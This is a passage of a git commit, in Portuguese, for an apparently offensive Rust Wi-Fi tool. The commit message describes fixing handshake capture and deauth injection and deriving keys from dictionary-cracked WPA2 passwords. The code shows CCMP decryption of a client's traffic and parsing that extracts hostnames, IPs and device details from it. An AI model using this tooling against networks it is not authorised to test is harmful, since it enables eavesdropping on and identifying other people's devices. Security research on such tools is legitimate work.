fix: captura de handshake real (endianness EAPOL) e enriquece o parsing 802.11
- eapol.rs: key_info/replay_counter/key_data_len liam little-endian; são big-endian (802.1X segue ordem de rede), então handshakes reais nunca fechavam mesmo com deauth funcionando. testutil.rs e os geradores de quadro de teste corrigidos junto, mais um teste contra bytes de wire reais (não só contra o próprio encoder). - inject.rs: deauth/disassoc agora grava Sequence Control crescente por quadro — reenviar o mesmo quadro era descartado como duplicata pelo driver/AP depois do primeiro envio. - dot11.rs/scan.rs: parsing de AP/cliente bem mais completo (PMF obrigatório, WPS detalhado, fabricante por OUI, país, largura de banda, padrão PHY, privacidade) e histórico de sinal/eventos por cliente. - handshake.rs/ccmp.rs: deriva a Temporal Key (CCMP) quando a senha é quebrada, o suficiente pra decifrar o tráfego em claro do par (BSSID, estação) cujo handshake foi capturado.
This commit is contained in:
1 parent
dab86d1fa7
commit
5477b8fb03
10 files changed
+2523
-19
No files matched your search
@@ -0,0 +1,173 @@
|
|||||||
|
//! Decriptação CCMP (WPA2-AES) de quadros de dados, usando a TK já derivada
|
||||||
|
//! de um handshake quebrado.
|
||||||
|
//!
|
||||||
|
//! Isso não serve pra forjar nem reinjetar nada — só pra enxergar o conteúdo
|
||||||
|
//! em claro (DHCP, mDNS) de um cliente cuja senha da rede já foi recuperada
|
||||||
|
//! por dicionário, e assim extrair hostname/fabricante de verdade em vez de
|
||||||
|
//! só o MAC. A chave é par (BSSID, estação): só decifra tráfego do cliente
|
||||||
|
//! cujo próprio handshake foi capturado e quebrado, nunca de terceiros —
|
||||||
|
//! cada associação tem sua PTK efêmera, então a senha da rede sozinha não
|
||||||
|
//! abre o tráfego de quem a gente não viu entrar.
|
||||||
|
//!
|
||||||
|
//! Implementa só o modo CTR (a parte que decifra o conteúdo). O MIC
|
||||||
|
//! (CBC-MAC) não é conferido: a intenção aqui é mostrar o payload de um
|
||||||
|
//! tráfego que a gente já pode decifrar porque a senha é conhecida, não
|
||||||
|
//! provar integridade de um quadro adulterado — e implementar o AAD/CBC-MAC
|
||||||
|
//! certinho exigiria replicar o mascaramento do cabeçalho 802.11 inteiro
|
||||||
|
//! sem ganho prático pro que isso serve aqui.
|
||||||
|
|
||||||
|
use aes::cipher::{BlockEncrypt, KeyInit};
|
||||||
|
use aes::Aes128;
|
||||||
|
|
||||||
|
/// Decifra o corpo de um quadro de dados CCMP, a partir do cabeçalho CCMP
|
||||||
|
/// (8 bytes) em diante — ou seja, `body` é `frame.body[frame.header_len..]`.
|
||||||
|
/// `transmitter` é o endereço 2 (A2) do quadro — o rádio que o enviou, não o
|
||||||
|
/// BSSID/estação lógicos. `qos_tid` é o TID do QoS Control (0 se não-QoS).
|
||||||
|
///
|
||||||
|
/// Retorna o LLC/SNAP + payload em claro (o mesmo formato que um quadro não
|
||||||
|
/// protegido teria), sem os 8 bytes de MIC cifrado no final.
|
||||||
|
pub fn decrypt_data(
|
||||||
|
tk: &[u8; 16],
|
||||||
|
transmitter: &[u8; 6],
|
||||||
|
qos_tid: u8,
|
||||||
|
body: &[u8],
|
||||||
|
) -> Option<Vec<u8>> {
|
||||||
|
const HEADER_LEN: usize = 8;
|
||||||
|
const MIC_LEN: usize = 8;
|
||||||
|
if body.len() < HEADER_LEN + MIC_LEN {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let pn0 = body[0];
|
||||||
|
let pn1 = body[1];
|
||||||
|
let key_id_octet = body[3];
|
||||||
|
// ExtIV (bit 5) precisa estar ligado — senão não é um cabeçalho CCMP de
|
||||||
|
// verdade (podia ser WEP de 4 bytes por coincidência de layout).
|
||||||
|
if key_id_octet & 0x20 == 0 {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let pn2 = body[4];
|
||||||
|
let pn3 = body[5];
|
||||||
|
let pn4 = body[6];
|
||||||
|
let pn5 = body[7];
|
||||||
|
|
||||||
|
let ciphertext_and_mic = &body[HEADER_LEN..];
|
||||||
|
let ciphertext = &ciphertext_and_mic[..ciphertext_and_mic.len() - MIC_LEN];
|
||||||
|
|
||||||
|
// Nonce CCMP (13 bytes): flags/prioridade (1) || A2 (6) || PN, do byte
|
||||||
|
// mais significativo (PN5) ao menos significativo (PN0).
|
||||||
|
let mut nonce = [0u8; 13];
|
||||||
|
nonce[0] = qos_tid & 0x0f;
|
||||||
|
nonce[1..7].copy_from_slice(transmitter);
|
||||||
|
nonce[7] = pn5;
|
||||||
|
nonce[8] = pn4;
|
||||||
|
nonce[9] = pn3;
|
||||||
|
nonce[10] = pn2;
|
||||||
|
nonce[11] = pn1;
|
||||||
|
nonce[12] = pn0;
|
||||||
|
|
||||||
|
let cipher = Aes128::new(tk.into());
|
||||||
|
let mut out = Vec::with_capacity(ciphertext.len());
|
||||||
|
let mut counter: u16 = 1; // o bloco de contador 0 cifra só o MIC, não dado.
|
||||||
|
for chunk in ciphertext.chunks(16) {
|
||||||
|
let mut block = [0u8; 16];
|
||||||
|
block[0] = 0x01; // flag octet do CCMP counter mode (L=1, sem AAD aqui)
|
||||||
|
block[1..14].copy_from_slice(&nonce);
|
||||||
|
block[14..16].copy_from_slice(&counter.to_be_bytes());
|
||||||
|
let mut keystream = block.into();
|
||||||
|
cipher.encrypt_block(&mut keystream);
|
||||||
|
for (c, k) in chunk.iter().zip(keystream.iter()) {
|
||||||
|
out.push(c ^ k);
|
||||||
|
}
|
||||||
|
counter = counter.wrapping_add(1);
|
||||||
|
}
|
||||||
|
Some(out)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
/// AES-128 do FIPS-197 (vetor de referência oficial do NIST): confirma
|
||||||
|
/// que a cifra de bloco usada embaixo está correta antes de confiar no
|
||||||
|
/// contador CTR por cima dela.
|
||||||
|
#[test]
|
||||||
|
fn aes128_matches_fips197_vector() {
|
||||||
|
let key: [u8; 16] = [
|
||||||
|
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d,
|
||||||
|
0x0e, 0x0f,
|
||||||
|
];
|
||||||
|
let plaintext: [u8; 16] = [
|
||||||
|
0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd,
|
||||||
|
0xee, 0xff,
|
||||||
|
];
|
||||||
|
let expected: [u8; 16] = [
|
||||||
|
0x69, 0xc4, 0xe0, 0xd8, 0x6a, 0x7b, 0x04, 0x30, 0xd8, 0xcd, 0xb7, 0x80, 0x70, 0xb4,
|
||||||
|
0xc5, 0x5a,
|
||||||
|
];
|
||||||
|
let cipher = Aes128::new(&key.into());
|
||||||
|
let mut block = plaintext.into();
|
||||||
|
cipher.encrypt_block(&mut block);
|
||||||
|
assert_eq!(block.as_slice(), &expected);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Round-trip de auto-consistência: decifrar um texto que a própria
|
||||||
|
/// função "cifrou" (mesmo algoritmo, usado nos dois sentidos — CTR é
|
||||||
|
/// simétrico) tem que devolver o original. Isso pega bug de indexação
|
||||||
|
/// no nonce/contador mesmo sem um vetor de teste oficial do CCMP à mão.
|
||||||
|
#[test]
|
||||||
|
fn ctr_round_trip_recovers_plaintext() {
|
||||||
|
let tk = [0x42u8; 16];
|
||||||
|
let transmitter = [0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff];
|
||||||
|
let plaintext = b"AA AA 03 00 00 00 08 00 payload de teste bem maior que um bloco de 16 bytes para cobrir mais de uma rodada do contador";
|
||||||
|
|
||||||
|
// Monta um "quadro" CCMP cifrando manualmente com a mesma lógica de
|
||||||
|
// keystream (ela é simétrica: XOR com o keystream cifra e decifra).
|
||||||
|
let header = [0x11u8, 0x22, 0x00, 0x20, 0x33, 0x44, 0x55, 0x66]; // ExtIV ligado
|
||||||
|
let mut nonce = [0u8; 13];
|
||||||
|
nonce[0] = 3; // TID
|
||||||
|
nonce[1..7].copy_from_slice(&transmitter);
|
||||||
|
nonce[7] = header[7];
|
||||||
|
nonce[8] = header[6];
|
||||||
|
nonce[9] = header[5];
|
||||||
|
nonce[10] = header[4];
|
||||||
|
nonce[11] = header[1];
|
||||||
|
nonce[12] = header[0];
|
||||||
|
let cipher = Aes128::new(&tk.into());
|
||||||
|
let mut ciphertext = Vec::with_capacity(plaintext.len());
|
||||||
|
let mut counter: u16 = 1;
|
||||||
|
for chunk in plaintext.chunks(16) {
|
||||||
|
let mut block = [0u8; 16];
|
||||||
|
block[0] = 0x01;
|
||||||
|
block[1..14].copy_from_slice(&nonce);
|
||||||
|
block[14..16].copy_from_slice(&counter.to_be_bytes());
|
||||||
|
let mut keystream = block.into();
|
||||||
|
cipher.encrypt_block(&mut keystream);
|
||||||
|
for (p, k) in chunk.iter().zip(keystream.iter()) {
|
||||||
|
ciphertext.push(p ^ k);
|
||||||
|
}
|
||||||
|
counter = counter.wrapping_add(1);
|
||||||
|
}
|
||||||
|
ciphertext.extend_from_slice(&[0u8; 8]); // MIC fictício, ignorado na decriptação
|
||||||
|
|
||||||
|
let mut body = Vec::new();
|
||||||
|
body.extend_from_slice(&header);
|
||||||
|
body.extend_from_slice(&ciphertext);
|
||||||
|
|
||||||
|
let out = decrypt_data(&tk, &transmitter, 3, &body).expect("decifra");
|
||||||
|
assert_eq!(out, plaintext);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn rejects_body_without_extiv_bit() {
|
||||||
|
let tk = [0u8; 16];
|
||||||
|
let body = [0u8; 20]; // key_id_octet (índice 3) sem o bit ExtIV
|
||||||
|
assert!(decrypt_data(&tk, &[0; 6], 0, &body).is_none());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn rejects_body_too_short() {
|
||||||
|
let tk = [0u8; 16];
|
||||||
|
let body = [0u8; 10];
|
||||||
|
assert!(decrypt_data(&tk, &[0; 6], 0, &body).is_none());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -79,7 +79,33 @@ pub struct ManagementInfo {
|
|||||||
pub akm: Vec<String>,
|
pub akm: Vec<String>,
|
||||||
pub wps: bool,
|
pub wps: bool,
|
||||||
pub pmf: bool,
|
pub pmf: bool,
|
||||||
|
pub pmf_required: bool,
|
||||||
pub country: Option<String>,
|
pub country: Option<String>,
|
||||||
|
pub beacon_interval: Option<u16>,
|
||||||
|
pub privacy: bool,
|
||||||
|
pub phy: Vec<String>,
|
||||||
|
pub width_mhz: Option<u16>,
|
||||||
|
pub wps_locked: Option<bool>,
|
||||||
|
pub wps_version: Option<String>,
|
||||||
|
pub wps_manufacturer: Option<String>,
|
||||||
|
pub wps_model: Option<String>,
|
||||||
|
pub wps_model_number: Option<String>,
|
||||||
|
pub wps_device_name: Option<String>,
|
||||||
|
pub wps_serial: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Pistas de identidade tiradas de payload em claro (DHCP, mDNS/DNS, SSDP,
|
||||||
|
/// HTTP e ARP). Redes criptografadas não expõem nada disso; nesse caso os
|
||||||
|
/// campos ficam vazios e a UI mostra só MAC, OUI e probes.
|
||||||
|
#[derive(Debug, Clone, Default)]
|
||||||
|
pub struct PayloadInfo {
|
||||||
|
pub ip: Option<String>,
|
||||||
|
pub hostname: Option<String>,
|
||||||
|
pub os: Option<String>,
|
||||||
|
pub device: Option<String>,
|
||||||
|
pub manufacturer: Option<String>,
|
||||||
|
pub model: Option<String>,
|
||||||
|
pub service: Option<String>,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, Copy, Default)]
|
#[derive(Debug, Clone, Copy, Default)]
|
||||||
@@ -323,6 +349,13 @@ impl<'a> Frame<'a> {
|
|||||||
let mut wpa1_present = false;
|
let mut wpa1_present = false;
|
||||||
let mut rsn = RsnInfo::default();
|
let mut rsn = RsnInfo::default();
|
||||||
|
|
||||||
|
if matches!(self.kind, FrameKind::Beacon | FrameKind::ProbeResponse)
|
||||||
|
&& self.body.len() >= 24 + 12
|
||||||
|
{
|
||||||
|
info.beacon_interval = Some(u16::from_le_bytes([self.body[24 + 8], self.body[24 + 9]]));
|
||||||
|
}
|
||||||
|
info.privacy = privacy;
|
||||||
|
|
||||||
let mut i = 0usize;
|
let mut i = 0usize;
|
||||||
while i + 2 <= ies.len() {
|
while i + 2 <= ies.len() {
|
||||||
let tag = ies[i];
|
let tag = ies[i];
|
||||||
@@ -346,15 +379,44 @@ impl<'a> Frame<'a> {
|
|||||||
7 if len >= 2 => {
|
7 if len >= 2 => {
|
||||||
info.country = Some(String::from_utf8_lossy(&val[0..2]).into_owned())
|
info.country = Some(String::from_utf8_lossy(&val[0..2]).into_owned())
|
||||||
}
|
}
|
||||||
|
45 => {
|
||||||
|
add_phy(&mut info.phy, "n");
|
||||||
|
if info.width_mhz.is_none() {
|
||||||
|
info.width_mhz = Some(20);
|
||||||
|
}
|
||||||
|
}
|
||||||
48 => {
|
48 => {
|
||||||
rsn_present = true;
|
rsn_present = true;
|
||||||
if let Some(parsed) = parse_rsn(val) {
|
if let Some(parsed) = parse_rsn(val) {
|
||||||
rsn = parsed;
|
rsn = parsed;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
61 if len >= 2 => {
|
||||||
|
if info.width_mhz.is_none() || info.width_mhz == Some(20) {
|
||||||
|
info.width_mhz = Some(if val[1] & 0x04 != 0 { 40 } else { 20 });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
191 => add_phy(&mut info.phy, "ac"),
|
||||||
|
192 if !val.is_empty() => {
|
||||||
|
add_phy(&mut info.phy, "ac");
|
||||||
|
info.width_mhz = Some(match val[0] {
|
||||||
|
1 => 80,
|
||||||
|
2 => 160,
|
||||||
|
3 => 80,
|
||||||
|
_ => info.width_mhz.unwrap_or(20),
|
||||||
|
});
|
||||||
|
}
|
||||||
221 if len >= 4 && val[0..3] == [0x00, 0x50, 0xF2] => match val[3] {
|
221 if len >= 4 && val[0..3] == [0x00, 0x50, 0xF2] => match val[3] {
|
||||||
1 => wpa1_present = true,
|
1 => wpa1_present = true,
|
||||||
4 => info.wps = true,
|
4 => {
|
||||||
|
info.wps = true;
|
||||||
|
parse_wps(val, &mut info);
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
},
|
||||||
|
255 if !val.is_empty() => match val[0] {
|
||||||
|
35 | 36 => add_phy(&mut info.phy, "ax"),
|
||||||
|
106 | 108 => add_phy(&mut info.phy, "be"),
|
||||||
_ => {}
|
_ => {}
|
||||||
},
|
},
|
||||||
_ => {}
|
_ => {}
|
||||||
@@ -363,6 +425,7 @@ impl<'a> Frame<'a> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
info.pmf = rsn.caps & 0x00c0 != 0;
|
info.pmf = rsn.caps & 0x00c0 != 0;
|
||||||
|
info.pmf_required = rsn.caps & 0x0040 != 0;
|
||||||
if rsn_present {
|
if rsn_present {
|
||||||
info.cipher = rsn.cipher.map(|c| c.label().to_string());
|
info.cipher = rsn.cipher.map(|c| c.label().to_string());
|
||||||
info.akm = rsn.akm.labels();
|
info.akm = rsn.akm.labels();
|
||||||
@@ -405,6 +468,598 @@ impl<'a> Frame<'a> {
|
|||||||
let end = (start + 4 + len).min(self.body.len());
|
let end = (start + 4 + len).min(self.body.len());
|
||||||
self.body.get(start..end)
|
self.body.get(start..end)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Tenta identificar a estação por payload não criptografado. Só olha
|
||||||
|
/// dados em claro; em WPA2/WPA3 o conteúdo é opaco e retorna vazio — a
|
||||||
|
/// menos que a senha já tenha sido quebrada (ver [`Self::ccmp_payload`]
|
||||||
|
/// + [`payload_info_from_llc`]).
|
||||||
|
pub fn payload_info(&self) -> PayloadInfo {
|
||||||
|
if self.protected || !self.kind.is_data() {
|
||||||
|
return PayloadInfo::default();
|
||||||
|
}
|
||||||
|
let Some(payload) = self.body.get(self.header_len..) else {
|
||||||
|
return PayloadInfo::default();
|
||||||
|
};
|
||||||
|
payload_info_from_llc(payload)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// TID do campo QoS Control, quando o quadro é QoS Data. `None` pra
|
||||||
|
/// dados não-QoS (o nonce do CCMP usa TID 0 nesse caso).
|
||||||
|
pub fn qos_tid(&self) -> Option<u8> {
|
||||||
|
if !self.kind.is_data() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let subtype = (self.fc >> 4) & 0b1111;
|
||||||
|
if subtype & 0x8 == 0 {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let mut offset = 24;
|
||||||
|
if self.to_ds && self.from_ds {
|
||||||
|
offset += 6;
|
||||||
|
}
|
||||||
|
self.body.get(offset).map(|b| b & 0x0f)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Decifra um quadro de dados CCMP com a TK já derivada (handshake
|
||||||
|
/// quebrado) e devolve o LLC/SNAP + payload em claro, no mesmo formato
|
||||||
|
/// que um quadro não protegido teria. `None` se o quadro não for CCMP
|
||||||
|
/// protegido ou os bytes não baterem com um cabeçalho CCMP válido.
|
||||||
|
pub fn ccmp_payload(&self, tk: &[u8; 16]) -> Option<Vec<u8>> {
|
||||||
|
if !self.protected || !self.kind.is_data() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let transmitter = self.addr2?;
|
||||||
|
let tid = self.qos_tid().unwrap_or(0);
|
||||||
|
let body = self.body.get(self.header_len..)?;
|
||||||
|
crate::ccmp::decrypt_data(tk, &transmitter, tid, body)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// LLC/SNAP (AA AA 03 00 00 00 + ethertype) seguido do payload em claro —
|
||||||
|
/// compartilhado entre quadros nunca cifrados e quadros CCMP já decifrados
|
||||||
|
/// com a TK conhecida.
|
||||||
|
pub fn payload_info_from_llc(payload: &[u8]) -> PayloadInfo {
|
||||||
|
let mut info = PayloadInfo::default();
|
||||||
|
let Some(llc) = payload.get(..8) else {
|
||||||
|
return info;
|
||||||
|
};
|
||||||
|
if llc[0] != 0xAA || llc[1] != 0xAA || llc[2] != 0x03 {
|
||||||
|
return info;
|
||||||
|
}
|
||||||
|
let ethertype = u16::from_be_bytes([llc[6], llc[7]]);
|
||||||
|
let Some(rest) = payload.get(8..) else {
|
||||||
|
return info;
|
||||||
|
};
|
||||||
|
match ethertype {
|
||||||
|
0x0806 => parse_arp(rest, &mut info),
|
||||||
|
0x0800 => parse_ipv4(rest, &mut info),
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
info
|
||||||
|
}
|
||||||
|
|
||||||
|
fn ipv4_string(bytes: &[u8]) -> Option<String> {
|
||||||
|
(bytes.len() >= 4).then(|| format!("{}.{}.{}.{}", bytes[0], bytes[1], bytes[2], bytes[3]))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn private_ip(ip: &str) -> bool {
|
||||||
|
let mut parts = ip.split('.');
|
||||||
|
let (Some(a), Some(b)) = (
|
||||||
|
parts.next().and_then(|p| p.parse::<u8>().ok()),
|
||||||
|
parts.next().and_then(|p| p.parse::<u8>().ok()),
|
||||||
|
) else {
|
||||||
|
return false;
|
||||||
|
};
|
||||||
|
a == 10
|
||||||
|
|| (a == 172 && (16..=31).contains(&b))
|
||||||
|
|| (a == 192 && b == 168)
|
||||||
|
|| (a == 169 && b == 254)
|
||||||
|
|| (a == 100 && (64..=127).contains(&b))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn parse_arp(payload: &[u8], info: &mut PayloadInfo) {
|
||||||
|
if payload.len() < 28
|
||||||
|
|| u16::from_be_bytes([payload[0], payload[1]]) != 1
|
||||||
|
|| u16::from_be_bytes([payload[2], payload[3]]) != 0x0800
|
||||||
|
|| payload[4] != 6
|
||||||
|
|| payload[5] != 4
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if let Some(ip) = ipv4_string(&payload[14..18]) {
|
||||||
|
if ip != "0.0.0.0" {
|
||||||
|
info.ip = Some(ip);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn parse_ipv4(payload: &[u8], info: &mut PayloadInfo) {
|
||||||
|
if payload.len() < 20 || payload[0] >> 4 != 4 {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let ihl = ((payload[0] & 0x0f) as usize) * 4;
|
||||||
|
if ihl < 20 || payload.len() < ihl {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let protocol = payload[9];
|
||||||
|
let src = ipv4_string(&payload[12..16]);
|
||||||
|
let dst = ipv4_string(&payload[16..20]);
|
||||||
|
if let Some(ip) = &src {
|
||||||
|
if private_ip(ip) {
|
||||||
|
info.ip = Some(ip.clone());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
match protocol {
|
||||||
|
17 => {
|
||||||
|
let udp = &payload[ihl..];
|
||||||
|
if udp.len() < 8 {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let sport = u16::from_be_bytes([udp[0], udp[1]]);
|
||||||
|
let dport = u16::from_be_bytes([udp[2], udp[3]]);
|
||||||
|
let data = &udp[8..];
|
||||||
|
if sport == 68 || dport == 67 {
|
||||||
|
parse_dhcp(data, info);
|
||||||
|
} else if sport == 5353 || dport == 5353 {
|
||||||
|
parse_dns(data, info, true);
|
||||||
|
} else if sport == 53 || dport == 53 {
|
||||||
|
parse_dns(data, info, false);
|
||||||
|
} else if sport == 1900 || dport == 1900 {
|
||||||
|
parse_ssdp(data, info);
|
||||||
|
} else if let Some(ip) = &dst {
|
||||||
|
if info.ip.is_none() && private_ip(ip) {
|
||||||
|
info.ip = Some(ip.clone());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
6 => {
|
||||||
|
let tcp = &payload[ihl..];
|
||||||
|
if tcp.len() < 20 {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let data_offset = ((tcp[12] >> 4) as usize) * 4;
|
||||||
|
let sport = u16::from_be_bytes([tcp[0], tcp[1]]);
|
||||||
|
let dport = u16::from_be_bytes([tcp[2], tcp[3]]);
|
||||||
|
if data_offset >= 20 && tcp.len() > data_offset {
|
||||||
|
let data = &tcp[data_offset..];
|
||||||
|
if matches!(sport, 80 | 8080 | 8000 | 8888)
|
||||||
|
|| matches!(dport, 80 | 8080 | 8000 | 8888)
|
||||||
|
{
|
||||||
|
parse_http(data, info);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn parse_dhcp(data: &[u8], info: &mut PayloadInfo) {
|
||||||
|
if data.len() < 240 || data[236..240] != [0x63, 0x82, 0x53, 0x63] {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut requested_ip = None;
|
||||||
|
let mut message_type = None;
|
||||||
|
let mut pos = 240usize;
|
||||||
|
while pos < data.len() {
|
||||||
|
let code = data[pos];
|
||||||
|
if code == 255 {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if code == 0 {
|
||||||
|
pos += 1;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if pos + 1 >= data.len() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
let len = data[pos + 1] as usize;
|
||||||
|
let start = pos + 2;
|
||||||
|
if start + len > data.len() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
let val = &data[start..start + len];
|
||||||
|
match code {
|
||||||
|
12 => info.hostname = Some(String::from_utf8_lossy(val).trim().to_string()),
|
||||||
|
50 if len >= 4 => requested_ip = ipv4_string(val),
|
||||||
|
53 if len == 1 => message_type = Some(val[0]),
|
||||||
|
60 => {
|
||||||
|
let vendor = String::from_utf8_lossy(val).trim().to_string();
|
||||||
|
if let Some(os) = os_from_text(&vendor) {
|
||||||
|
info.os = Some(os);
|
||||||
|
}
|
||||||
|
if let Some(device) = device_from_text(&vendor) {
|
||||||
|
info.device = Some(device);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
81 => {
|
||||||
|
let name = String::from_utf8_lossy(val).trim_matches('\0').to_string();
|
||||||
|
if !name.is_empty() {
|
||||||
|
info.hostname = Some(name.split('\0').next().unwrap_or(&name).to_string());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
pos = start + len;
|
||||||
|
}
|
||||||
|
if message_type == Some(3) {
|
||||||
|
if let Some(ip) = requested_ip {
|
||||||
|
if ip != "0.0.0.0" {
|
||||||
|
info.ip = Some(ip);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if info.hostname.as_deref() == Some("") {
|
||||||
|
info.hostname = None;
|
||||||
|
}
|
||||||
|
if let Some(hostname) = info.hostname.as_deref() {
|
||||||
|
if info.device.is_none() {
|
||||||
|
info.device = device_from_text(hostname);
|
||||||
|
}
|
||||||
|
if info.os.is_none() {
|
||||||
|
info.os = os_from_text(hostname);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn dns_name(data: &[u8], mut pos: usize) -> Option<(String, usize)> {
|
||||||
|
let mut labels = Vec::new();
|
||||||
|
let mut jumps = 0usize;
|
||||||
|
let mut end = pos;
|
||||||
|
let mut jumped = false;
|
||||||
|
while pos < data.len() && jumps < 16 {
|
||||||
|
let len = data[pos];
|
||||||
|
if len == 0 {
|
||||||
|
if !jumped {
|
||||||
|
end = pos + 1;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if len & 0xc0 == 0xc0 {
|
||||||
|
if pos + 1 >= data.len() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let ptr = (((len & 0x3f) as usize) << 8) | data[pos + 1] as usize;
|
||||||
|
if !jumped {
|
||||||
|
end = pos + 2;
|
||||||
|
}
|
||||||
|
pos = ptr;
|
||||||
|
jumps += 1;
|
||||||
|
jumped = true;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let len = len as usize;
|
||||||
|
if pos + 1 + len > data.len() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
labels.push(String::from_utf8_lossy(&data[pos + 1..pos + 1 + len]).into_owned());
|
||||||
|
pos += 1 + len;
|
||||||
|
if !jumped {
|
||||||
|
end = pos;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if labels.is_empty() {
|
||||||
|
None
|
||||||
|
} else {
|
||||||
|
Some((labels.join("."), end))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn parse_dns(data: &[u8], info: &mut PayloadInfo, mdns: bool) {
|
||||||
|
if data.len() < 12 {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let qd = u16::from_be_bytes([data[4], data[5]]) as usize;
|
||||||
|
let an = u16::from_be_bytes([data[6], data[7]]) as usize;
|
||||||
|
let mut pos = 12usize;
|
||||||
|
for _ in 0..qd {
|
||||||
|
let Some((name, next)) = dns_name(data, pos) else {
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
pos = next + 4;
|
||||||
|
apply_dns_name(&name, info, mdns);
|
||||||
|
}
|
||||||
|
for _ in 0..an.min(24) {
|
||||||
|
let Some((name, next)) = dns_name(data, pos) else {
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
if next + 10 > data.len() {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let kind = u16::from_be_bytes([data[next], data[next + 1]]);
|
||||||
|
let rdlen = u16::from_be_bytes([data[next + 8], data[next + 9]]) as usize;
|
||||||
|
let rdata = next + 10;
|
||||||
|
if rdata + rdlen > data.len() {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if kind == 1 && rdlen == 4 {
|
||||||
|
if let Some(ip) = ipv4_string(&data[rdata..rdata + 4]) {
|
||||||
|
if private_ip(&ip) && (info.ip.is_none() || info.hostname.is_none()) {
|
||||||
|
info.ip = Some(ip);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if kind == 16 {
|
||||||
|
parse_txt(&data[rdata..rdata + rdlen], info);
|
||||||
|
}
|
||||||
|
apply_dns_name(&name, info, mdns);
|
||||||
|
pos = rdata + rdlen;
|
||||||
|
}
|
||||||
|
if let Some(ip) = &info.ip {
|
||||||
|
if !private_ip(ip) {
|
||||||
|
info.ip = None;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn apply_dns_name(name: &str, info: &mut PayloadInfo, mdns: bool) {
|
||||||
|
let lower = name.to_ascii_lowercase();
|
||||||
|
if let Some(service) = lower.strip_prefix('_') {
|
||||||
|
info.service = Some(service.split('.').next().unwrap_or(service).to_string());
|
||||||
|
if let Some(device) = device_from_service(&lower) {
|
||||||
|
info.device = Some(device);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if mdns && lower.ends_with(".local") {
|
||||||
|
let host = name.split('.').next().unwrap_or(name);
|
||||||
|
if !host.is_empty() {
|
||||||
|
info.hostname = Some(host.to_string());
|
||||||
|
if let Some(device) = device_from_text(host) {
|
||||||
|
info.device = Some(device);
|
||||||
|
}
|
||||||
|
if let Some(os) = os_from_text(host) {
|
||||||
|
info.os = Some(os);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn parse_txt(data: &[u8], info: &mut PayloadInfo) {
|
||||||
|
let mut pos = 0usize;
|
||||||
|
while pos < data.len() {
|
||||||
|
let len = data[pos] as usize;
|
||||||
|
pos += 1;
|
||||||
|
if pos + len > data.len() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
let txt = String::from_utf8_lossy(&data[pos..pos + len]);
|
||||||
|
pos += len;
|
||||||
|
let mut parts = txt.splitn(2, '=');
|
||||||
|
